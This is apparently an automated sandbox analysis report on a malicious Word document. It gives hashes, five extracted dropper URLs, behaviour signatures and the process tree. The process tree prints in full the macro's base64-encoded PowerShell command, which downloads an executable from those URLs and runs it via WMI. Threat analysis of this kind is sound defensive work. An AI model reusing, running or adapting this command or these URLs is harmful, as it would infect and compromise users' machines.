Analysis

  • max time kernel
    104s
  • max time network
    48s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    20-05-2022 21:18

General

  • Target

    sample.doc

  • Size

    169KB

  • MD5

    1b8bb729ea50f3693ab40f7d666dd989

  • SHA1

    12806d2409ee1842ab8b8cfcedc5b7f94605000c

  • SHA256

    21a4526681f542f3066046ac15cf21e2d5e9d49314df6b742be7b46d67f8f0a7

  • SHA512

    f5d982a58ae70d5ff6aa767895dc2a4280ae3bfa0777f72d020736ed59be72bb48c05c3c77879fa124cd964635db3573ea768e4501e0b126388e4646fa7434fa

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://manandvanwaterlooville.co.uk/wp-admin/prX892/

exe.dropper

https://uniral.com/captchasignup/4J579681/

exe.dropper

https://scyzm.net/lkx7/lqoH8S/

exe.dropper

https://amagna.nl/DZ9MzAobu3/37Z/

exe.dropper

https://nilinkeji.com/online/90fb31/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 9 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:536
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABWAEEARgBHAEsAaQBqAGMAPQAnAEoAQwBNAEQATQBiAHgAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBSAGkAVABZAFAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQQBXAEUAVgBSAGYAaQBzACAAPQAgACcANAAzADIAJwA7ACQAUQBNAFgAVQBNAHQAcQB4AD0AJwBIAFgAVwBTAFEAcABjAGwAJwA7ACQATABaAEYASQBYAGgAdQB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABBAFcARQBWAFIAZgBpAHMAKwAnAC4AZQB4AGUAJwA7ACQARQBQAFcAWgBWAGMAbAB0AD0AJwBXAEoAQwBZAFIAdQB5AGMAJwA7ACQARABVAEMASwBOAG8AbABsAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAFcAZQBiAEMATABJAGUATgBUADsAJABZAEoARgBQAEkAcwByAHUAPQAnAGgAdAB0AHAAOgAvAC8AbQBhAG4AYQBuAGQAdgBhAG4AdwBhAHQAZQByAGwAbwBvAHYAaQBsAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGEAZABtAGkAbgAvAHAAcgBYADgAOQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBuAGkAcgBhAGwALgBjAG8AbQAvAGMAYQBwAHQAYwBoAGEAcwBpAGcAbgB1AHAALwA0AEoANQA3ADkANgA4ADEALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGMAeQB6AG0ALgBuAGUAdAAvAGwAawB4ADcALwBsAHEAbwBIADgAUwAvACoAaAB0AHQAcABzADoALwAvAGEAbQBhAGcAbgBhAC4AbgBsAC8ARABaADkATQB6AEEAbwBiAHUAMwAvADMANwBaAC8AKgBoAHQAdABwAHMAOgAvAC8AbgBpAGwAaQBuAGsAZQBqAGkALgBjAG8AbQAvAG8AbgBsAGkAbgBlAC8AOQAwAGYAYgAzADEALwAnAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgARwBTAE0AVQBsAGEAdQA9ACcATgBKAFcATwBLAHEAbAB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAE8AQgBCAEkAeQB5AG0AIABpAG4AIAAkAFkASgBGAFAASQBzAHIAdQApAHsAdAByAHkAewAkAEQAVQBDAEsATgBvAGwAbAAuACIAZABvAHcAYABOAGwATwBhAEQAYABGAEkAbABFACIAKAAkAEQATwBCAEIASQB5AHkAbQAsACAAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQATgBRAFIAVgBKAHQAaAB0AD0AJwBHAEoARwBCAFUAbgBzAGUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAFoARgBJAFgAaAB1AHYAKQAuACIATABgAGUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIANAAwADUANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAEUAYABBAFQARQAiACgAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQAUwBWAEwAWgBBAHYAeQBrAD0AJwBJAFoATQBNAFYAeQBrAGwAJwA7AGIAcgBlAGEAawA7ACQAQwBXAFoARgBBAHgAdABsAD0AJwBMAE8ASQBXAEcAbABzAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBSAFEAWgBLAGoAcgBsAD0AJwBUAFcASwBEAEoAYwBtAGIAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1108

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/536-70-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-57-0x0000000075B61000-0x0000000075B63000-memory.dmp
      Filesize

      8KB

    • memory/536-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/536-72-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-58-0x0000000070CAD000-0x0000000070CB8000-memory.dmp
      Filesize

      44KB

    • memory/536-69-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-60-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-61-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-62-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-64-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-63-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-65-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-66-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-68-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-67-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-71-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-89-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/536-55-0x000000006FCC1000-0x000000006FCC3000-memory.dmp
      Filesize

      8KB

    • memory/536-59-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-73-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-74-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-76-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-75-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-77-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-78-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-79-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-80-0x00000000005C5000-0x00000000005C9000-memory.dmp
      Filesize

      16KB

    • memory/536-54-0x0000000072241000-0x0000000072244000-memory.dmp
      Filesize

      12KB

    • memory/1072-87-0x0000000000000000-mapping.dmp
    • memory/1108-82-0x000007FEF33D0000-0x000007FEF3DF3000-memory.dmp
      Filesize

      10.1MB

    • memory/1108-84-0x00000000028A4000-0x00000000028A7000-memory.dmp
      Filesize

      12KB

    • memory/1108-83-0x000007FEF2870000-0x000007FEF33CD000-memory.dmp
      Filesize

      11.4MB

    • memory/1108-85-0x000000001B770000-0x000000001BA6F000-memory.dmp
      Filesize

      3.0MB

    • memory/1108-86-0x00000000028AB000-0x00000000028CA000-memory.dmp
      Filesize

      124KB

    • memory/1108-81-0x000007FEFB721000-0x000007FEFB723000-memory.dmp
      Filesize

      8KB